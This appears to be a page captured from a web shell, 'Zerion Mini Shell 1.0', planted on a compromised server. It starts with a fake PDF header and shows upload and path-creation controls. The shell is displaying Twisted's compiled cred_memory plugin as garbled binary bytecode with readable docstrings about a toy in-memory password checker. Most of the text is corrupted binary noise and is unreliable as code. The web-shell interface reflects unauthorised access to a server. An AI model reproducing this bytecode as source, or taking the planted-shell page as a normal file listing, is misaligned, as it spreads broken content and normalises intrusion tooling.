%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/plugins/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/plugins/__pycache__/cred_memory.cpython-312.pyc

�

Ϫ�f����dZddlmZddlmZddlmZddlmZm	Z	ddl
mZdZeeej�Gd�d	��Ze�Zy
)z-
Cred plugin for an in-memory user database.
�)�implementer)�plugin)�'InMemoryUsernamePasswordDatabaseDontUse)�IUsernameHashedPassword�IUsernamePassword)�ICheckerFactoryz�
A checker that uses an in-memory user database.

This is only of use in one-off test programs or examples which
don't want to focus too much on how credentials are verified. You
really don't want to use this for anything else. It is a toy.
c�*�eZdZdZdZeZdZee	fZ
d�Zy)�InMemoryCheckerFactorya~
    A factory for in-memory credentials checkers.

    This is only of use in one-off test programs or examples which don't
    want to focus too much on how credentials are verified.

    You really don't want to use this for anything else.  It is, at best, a
    toy.  If you need a simple credentials checker for a real application,
    see L{cred_file.FileCheckerFactory}.
    �memoryz*A colon-separated list (name:password:...)c���t�}|rg|jd�}t|�dzrddlm}|d��tdt|�d�D]!}||||dz}}|j
||��#|S)a
        This checker factory expects to get a list of
        username:password pairs, with each pair also separated by a
        colon. For example, the string 'alice:f:bob:g' would generate
        two users, one named 'alice' and one named 'bob'.
        �:�r)�InvalidAuthArgumentStringz#argstring must be in format U:P:...�)r�split�len�twisted.cred.strcredr�range�addUser)�self�	argstring�checker�piecesr�i�username�passwords        �=/usr/lib/python3/dist-packages/twisted/plugins/cred_memory.py�generateCheckerz&InMemoryCheckerFactory.generateChecker-s}��:�;����_�_�S�)�F��6�{�Q��J�/�0U�V�V��1�c�&�k�1�-�
4��%+�A�Y��q�1�u�
�(������(�3�
4���N)�__name__�
__module__�__qualname__�__doc__�authType�inMemoryCheckerFactoryHelp�authHelp�argStringFormatrr�credentialInterfacesr�rrr
r
s)��	��H�)�H�B�O�-�/F�G��rr
N)r#�zope.interfacer�twistedr�twisted.cred.checkersr�twisted.cred.credentialsrrrrr%�IPluginr
�theInMemoryCheckerFactoryr)rr�<module>r0sS���
'��I�O�0���
�_�f�n�n�-�"�"�.�"�J3�4�r

Zerion Mini Shell 1.0